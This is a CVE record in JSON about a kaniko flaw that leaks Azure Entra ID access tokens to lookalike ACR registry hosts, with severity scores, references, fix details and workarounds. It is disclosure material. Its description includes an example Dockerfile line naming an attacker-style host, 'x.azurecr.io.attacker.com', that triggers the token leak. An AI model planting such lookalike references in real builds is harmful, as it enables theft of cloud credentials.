{"api_version":"1","generated_at":"2026-11-02T21:36:30+00:00","cve":"CVE-2026-105769","urls":{"html":"https://cve.report/CVE-2026-105769","api":"https://cve.report/api/cve/CVE-2026-105769.json","docs":"https://cve.report/api","cve_org":"https://www.cve.org/CVERecord?id=CVE-2026-105769","nvd":"https://nvd.nist.gov/vuln/detail/CVE-2026-105769"},"summary":{"title":"kaniko can send the build's Azure (Entra ID) access token to lookalike ACR registry hosts","description":"kaniko before 1.25.20 can send a Microsoft Entra ID (Azure AD) access token for Azure Resource Manager to an attacker-controlled registry host. kaniko uses the Azure Container Registry credential helper github.com/chrismellard/docker-credential-acr-env, which decides whether a host is an ACR registry with an unanchored regular expression, so any hostname containing .azurecr.io, .azurecr.cn, .azurecr.de or .azurecr.us is accepted. kaniko consults this helper for any registry that has no credentials in the Docker config and is not a Google or Amazon ECR registry, before contacting the registry. A Dockerfile that references an image on a lookalike host, such as FROM x.azurecr.io.attacker.com/img or COPY --from=<image>, causes the helper to obtain a token from the build's Azure identity (service principal environment variables, federated workload identity token, or managed identity) and POST it to https://<host>/oauth2/exchange. The attacker can use the token against Azure Resource Manager with the identity's role assignments until it expires, and can exchange it for credentials to any ACR registry the identity can access. No RUN instruction or push is required. This issue is fixed in 1.25.20.","state":"PUBLISHED","assigner":"chainguard","published_at":"2026-11-02 17:17:32","updated_at":"2026-11-02 19:34:23"},"problem_types":["CWE-346","CWE-522","CWE-346 CWE-346: Origin Validation Error","CWE-522 CWE-522: Insufficiently Protected Credentials"],"metrics":[{"version":"3.1","source":"82cea9a6-e9e3-46fe-bdb0-3673de380178","type":"Secondary","score":"9.3","severity":"CRITICAL","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N","data":{"version":"3.1","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N","baseScore":9.3,"baseSeverity":"CRITICAL","attackVector":"NETWORK","attackComplexity":"LOW","privilegesRequired":"NONE","userInteraction":"REQUIRED","scope":"CHANGED","confidentialityImpact":"HIGH","integrityImpact":"HIGH","availabilityImpact":"NONE"}},{"version":"3.1","source":"CNA","type":"CVSS","score":"9.3","severity":"CRITICAL","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N","data":{"attackComplexity":"LOW","attackVector":"NETWORK","availabilityImpact":"NONE","baseScore":9.3,"baseSeverity":"CRITICAL","confidentialityImpact":"HIGH","integrityImpact":"HIGH","privilegesRequired":"NONE","scope":"CHANGED","userInteraction":"REQUIRED","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N","version":"3.1"}}],"references":[{"url":"https://pkg.go.dev/vuln/GO-2026-6225","name":"https://pkg.go.dev/vuln/GO-2026-6225","refsource":"82cea9a6-e9e3-46fe-bdb0-3673de380178","tags":[],"title":"","mime":"","httpstatus":"","archivestatus":"0"},{"url":"https://github.com/chainguard-forks/kaniko/releases/tag/v1.25.20","name":"https://github.com/chainguard-forks/kaniko/releases/tag/v1.25.20","refsource":"82cea9a6-e9e3-46fe-bdb0-3673de380178","tags":[],"title":"","mime":"","httpstatus":"","archivestatus":"0"},{"url":"https://github.com/chainguard-forks/kaniko/security/advisories/GHSA-5q7h-w9jf-cx97","name":"https://github.com/chainguard-forks/kaniko/security/advisories/GHSA-5q7h-w9jf-cx97","refsource":"82cea9a6-e9e3-46fe-bdb0-3673de380178","tags":[],"title":"","mime":"","httpstatus":"","archivestatus":"0"},{"url":"https://github.com/chrismellard/docker-credential-acr-env/issues/21","name":"https://github.com/chrismellard/docker-credential-acr-env/issues/21","refsource":"82cea9a6-e9e3-46fe-bdb0-3673de380178","tags":[],"title":"","mime":"","httpstatus":"","archivestatus":"0"},{"url":"https://github.com/chainguard-forks/kaniko/pull/495","name":"https://github.com/chainguard-forks/kaniko/pull/495","refsource":"82cea9a6-e9e3-46fe-bdb0-3673de380178","tags":[],"title":"","mime":"","httpstatus":"","archivestatus":"0"},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-105769","name":"CVE Program record","refsource":"CVE.ORG","tags":["canonical"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105769","name":"NVD vulnerability detail","refsource":"NVD","tags":["canonical","analysis"]}],"affected":[{"source":"CNA","vendor":"chainguard","product":"kaniko","version":"affected 1.25.20 semver","platforms":[]}],"timeline":[],"solutions":[{"source":"CNA","title":"","value":"Upgrade to kaniko 1.25.20 or later. The repository publishes no binaries or images, so rebuild the executor, the warmer and docker-credential-acr-env from 1.25.20 or later. Go module consumers should update github.com/chainguard-dev/kaniko to 1.25.20 or later. The fixed version carries a patched copy of the helper under third_party/docker-credential-acr-env that accepts a host only if it is exactly host[:port] and the hostname is mcr.microsoft.com or a well-formed name ending in .azurecr.io, .azurecr.cn, .azurecr.de or .azurecr.us.","time":"","lang":"en"}],"workarounds":[{"source":"CNA","title":"","value":"Do not let untrusted builds reach an Azure identity: remove Azure credentials, federated tokens, MSI_ENDPOINT and MSI_SECRET from the build environment, and block access to the Instance Metadata Service (169.254.169.254) from build pods. If kaniko's built-in ACR authentication is not needed, set AZURE_ENVIRONMENT to a value that names no Azure cloud (for example AZURE_ENVIRONMENT=none) in the kaniko container. If config.json sets \"credsStore\": \"acr-env\", replace it with per-host credHelpers entries for your own ACR registries; on its own this closes only the standalone-binary path. If untrusted Dockerfiles were built with an Azure identity available, treat access tokens issued to that identity during those builds as compromised, review Entra ID sign-in logs and Azure activity logs, and rotate secrets the identity could read through Azure Resource Manager.","time":"","lang":"en"}],"exploits":[],"credits":[{"source":"CNA","value":"Martin Zihlmann (mzihlmann) of osscontainertools","lang":"en"},{"source":"CNA","value":"8none1","lang":"en"},{"source":"CNA","value":"sergiodj","lang":"en"}],"nvd_cpes":[],"vendor_comments":[],"enrichments":{"kev":null,"epss":null,"legacy_qids":[]},"source_records":{"cve_program":{"containers":{"adp":[{"metrics":[{"other":{"content":{"id":"CVE-2026-105769","options":[{"Exploitation":"none"},{"Automatable":"no"},{"Technical Impact":"total"}],"role":"CISA Coordinator","timestamp":"2026-11-02T17:11:54.176517Z","version":"2.0.3"},"type":"ssvc"}}],"providerMetadata":{"dateUpdated":"2026-11-02T17:12:09.068Z","orgId":"134c704f-9b21-4f2e-91b3-4a467353bcc0","shortName":"CISA-ADP"},"title":"CISA ADP Vulnrichment"}],"cna":{"affected":[{"collectionURL":"https://pkg.go.dev","defaultStatus":"unaffected","packageName":"github.com/chainguard-dev/kaniko","product":"kaniko","programFiles":["third_party/docker-credential-acr-env"],"repo":"https://github.com/chainguard-forks/kaniko","vendor":"chainguard","versions":[{"lessThan":"1.25.20","status":"affected","version":"0","versionType":"semver"}]}],"credits":[{"lang":"en","type":"finder","value":"Martin Zihlmann (mzihlmann) of osscontainertools"},{"lang":"en","type":"remediation developer","value":"8none1"},{"lang":"en","type":"remediation reviewer","value":"sergiodj"}],"datePublic":"2026-11-02T16:32:00.000Z","descriptions":[{"lang":"en","supportingMedia":[{"base64":false,"type":"text/html","value":"kaniko before 1.25.20 can send a Microsoft Entra ID (Azure AD) access token for Azure Resource Manager to an attacker-controlled registry host. kaniko uses the Azure Container Registry credential helper <code>github.com/chrismellard/docker-credential-acr-env</code>, which decides whether a host is an ACR registry with an unanchored regular expression, so any hostname containing <code>.azurecr.io</code>, <code>.azurecr.cn</code>, <code>.azurecr.de</code> or <code>.azurecr.us</code> is accepted. kaniko consults this helper for any registry that has no credentials in the Docker config and is not a Google or Amazon ECR registry, before contacting the registry. A Dockerfile that references an image on a lookalike host, such as <code>FROM x.azurecr.io.attacker.com/img</code> or <code>COPY --from=&lt;image&gt;</code>, causes the helper to obtain a token from the build's Azure identity (service principal environment variables, federated workload identity token, or managed identity) and POST it to <code>https://&lt;host&gt;/oauth2/exchange</code>. The attacker can use the token against Azure Resource Manager with the identity's role assignments until it expires, and can exchange it for credentials to any ACR registry the identity can access. No <code>RUN</code> instruction or push is required. This issue is fixed in 1.25.20."}],"value":"kaniko before 1.25.20 can send a Microsoft Entra ID (Azure AD) access token for Azure Resource Manager to an attacker-controlled registry host. kaniko uses the Azure Container Registry credential helper github.com/chrismellard/docker-credential-acr-env, which decides whether a host is an ACR registry with an unanchored regular expression, so any hostname containing .azurecr.io, .azurecr.cn, .azurecr.de or .azurecr.us is accepted. kaniko consults this helper for any registry that has no credentials in the Docker config and is not a Google or Amazon ECR registry, before contacting the registry. A Dockerfile that references an image on a lookalike host, such as FROM x.azurecr.io.attacker.com/img or COPY --from=<image>, causes the helper to obtain a token from the build's Azure identity (service principal environment variables, federated workload identity token, or managed identity) and POST it to https://<host>/oauth2/exchange. The attacker can use the token against Azure Resource Manager with the identity's role assignments until it expires, and can exchange it for credentials to any ACR registry the identity can access. No RUN instruction or push is required. This issue is fixed in 1.25.20."}],"metrics":[{"cvssV3_1":{"attackComplexity":"LOW","attackVector":"NETWORK","availabilityImpact":"NONE","baseScore":9.3,"baseSeverity":"CRITICAL","confidentialityImpact":"HIGH","integrityImpact":"HIGH","privilegesRequired":"NONE","scope":"CHANGED","userInteraction":"REQUIRED","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N","version":"3.1"},"format":"CVSS","scenarios":[{"lang":"en","value":"GENERAL"}]}],"problemTypes":[{"descriptions":[{"cweId":"CWE-346","description":"CWE-346: Origin Validation Error","lang":"en","type":"CWE"}]},{"descriptions":[{"cweId":"CWE-522","description":"CWE-522: Insufficiently Protected Credentials","lang":"en","type":"CWE"}]}],"providerMetadata":{"dateUpdated":"2026-11-02T18:27:36.537Z","orgId":"82cea9a6-e9e3-46fe-bdb0-3673de380178","shortName":"chainguard"},"references":[{"name":"GHSA-5q7h-w9jf-cx97","tags":["vendor-advisory"],"url":"https://github.com/chainguard-forks/kaniko/security/advisories/GHSA-5q7h-w9jf-cx97"},{"tags":["patch"],"url":"https://github.com/chainguard-forks/kaniko/pull/495"},{"tags":["release-notes"],"url":"https://github.com/chainguard-forks/kaniko/releases/tag/v1.25.20"},{"tags":["issue-tracking"],"url":"https://github.com/chrismellard/docker-credential-acr-env/issues/21"},{"name":"GO-2026-6225","tags":["third-party-advisory"],"url":"https://pkg.go.dev/vuln/GO-2026-6225"}],"solutions":[{"lang":"en","supportingMedia":[{"base64":false,"type":"text/html","value":"<p>Upgrade to kaniko 1.25.20 or later. The repository publishes no binaries or images, so rebuild the executor, the warmer and docker-credential-acr-env from 1.25.20 or later. Go module consumers should update github.com/chainguard-dev/kaniko to 1.25.20 or later. The fixed version carries a patched copy of the helper under third_party/docker-credential-acr-env that accepts a host only if it is exactly host[:port] and the hostname is mcr.microsoft.com or a well-formed name ending in .azurecr.io, .azurecr.cn, .azurecr.de or .azurecr.us.</p>"}],"value":"Upgrade to kaniko 1.25.20 or later. The repository publishes no binaries or images, so rebuild the executor, the warmer and docker-credential-acr-env from 1.25.20 or later. Go module consumers should update github.com/chainguard-dev/kaniko to 1.25.20 or later. The fixed version carries a patched copy of the helper under third_party/docker-credential-acr-env that accepts a host only if it is exactly host[:port] and the hostname is mcr.microsoft.com or a well-formed name ending in .azurecr.io, .azurecr.cn, .azurecr.de or .azurecr.us."}],"source":{"advisory":"GHSA-5q7h-w9jf-cx97","discovery":"EXTERNAL"},"title":"kaniko can send the build's Azure (Entra ID) access token to lookalike ACR registry hosts","workarounds":[{"lang":"en","supportingMedia":[{"base64":false,"type":"text/html","value":"<p>Do not let untrusted builds reach an Azure identity: remove Azure credentials, federated tokens, MSI_ENDPOINT and MSI_SECRET from the build environment, and block access to the Instance Metadata Service (169.254.169.254) from build pods. If kaniko's built-in ACR authentication is not needed, set AZURE_ENVIRONMENT to a value that names no Azure cloud (for example AZURE_ENVIRONMENT=none) in the kaniko container. If config.json sets &quot;credsStore&quot;: &quot;acr-env&quot;, replace it with per-host credHelpers entries for your own ACR registries; on its own this closes only the standalone-binary path. If untrusted Dockerfiles were built with an Azure identity available, treat access tokens issued to that identity during those builds as compromised, review Entra ID sign-in logs and Azure activity logs, and rotate secrets the identity could read through Azure Resource Manager.</p>"}],"value":"Do not let untrusted builds reach an Azure identity: remove Azure credentials, federated tokens, MSI_ENDPOINT and MSI_SECRET from the build environment, and block access to the Instance Metadata Service (169.254.169.254) from build pods. If kaniko's built-in ACR authentication is not needed, set AZURE_ENVIRONMENT to a value that names no Azure cloud (for example AZURE_ENVIRONMENT=none) in the kaniko container. If config.json sets \"credsStore\": \"acr-env\", replace it with per-host credHelpers entries for your own ACR registries; on its own this closes only the standalone-binary path. If untrusted Dockerfiles were built with an Azure identity available, treat access tokens issued to that identity during those builds as compromised, review Entra ID sign-in logs and Azure activity logs, and rotate secrets the identity could read through Azure Resource Manager."}],"x_generator":{"engine":"Vulnogram 1.0.5"}}},"cveMetadata":{"assignerOrgId":"82cea9a6-e9e3-46fe-bdb0-3673de380178","assignerShortName":"chainguard","cveId":"CVE-2026-105769","datePublished":"2026-11-02T16:49:24.557Z","dateReserved":"2026-10-05T19:21:04.930Z","dateUpdated":"2026-11-02T18:27:36.537Z","state":"PUBLISHED"},"dataType":"CVE_RECORD","dataVersion":"5.2"},"nvd":{"publishedDate":"2026-11-02 17:17:32","lastModifiedDate":"2026-11-02 19:34:23","problem_types":["CWE-346","CWE-522","CWE-346 CWE-346: Origin Validation Error","CWE-522 CWE-522: Insufficiently Protected Credentials"],"metrics":{"cvssMetricV31":[{"source":"82cea9a6-e9e3-46fe-bdb0-3673de380178","type":"Secondary","cvssData":{"version":"3.1","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N","baseScore":9.3,"baseSeverity":"CRITICAL","attackVector":"NETWORK","attackComplexity":"LOW","privilegesRequired":"NONE","userInteraction":"REQUIRED","scope":"CHANGED","confidentialityImpact":"HIGH","integrityImpact":"HIGH","availabilityImpact":"NONE"},"exploitabilityScore":2.8,"impactScore":5.8}],"ssvcV203":[{"source":"134c704f-9b21-4f2e-91b3-4a467353bcc0","ssvcData":{"timestamp":"2026-11-02T17:11:54.176517Z","id":"CVE-2026-105769","options":[{"exploitation":"none"},{"automatable":"no"},{"technicalImpact":"total"}],"role":"CISA Coordinator","version":"2.0.3"}}]},"configurations":[]},"legacy_mitre":{"record":{"CveYear":"2026","CveId":"105769","Ordinal":"1","Title":"kaniko can send the build's Azure (Entra ID) access token to loo","CVE":"CVE-2026-105769","Year":"2026"},"notes":[{"CveYear":"2026","CveId":"105769","Ordinal":"1","NoteData":"kaniko before 1.25.20 can send a Microsoft Entra ID (Azure AD) access token for Azure Resource Manager to an attacker-controlled registry host. kaniko uses the Azure Container Registry credential helper github.com/chrismellard/docker-credential-acr-env, which decides whether a host is an ACR registry with an unanchored regular expression, so any hostname containing .azurecr.io, .azurecr.cn, .azurecr.de or .azurecr.us is accepted. kaniko consults this helper for any registry that has no credentials in the Docker config and is not a Google or Amazon ECR registry, before contacting the registry. A Dockerfile that references an image on a lookalike host, such as FROM x.azurecr.io.attacker.com/img or COPY --from=<image>, causes the helper to obtain a token from the build's Azure identity (service principal environment variables, federated workload identity token, or managed identity) and POST it to https://<host>/oauth2/exchange. The attacker can use the token against Azure Resource Manager with the identity's role assignments until it expires, and can exchange it for credentials to any ACR registry the identity can access. No RUN instruction or push is required. This issue is fixed in 1.25.20.","Type":"Description","Title":"kaniko can send the build's Azure (Entra ID) access token to loo"}]}}}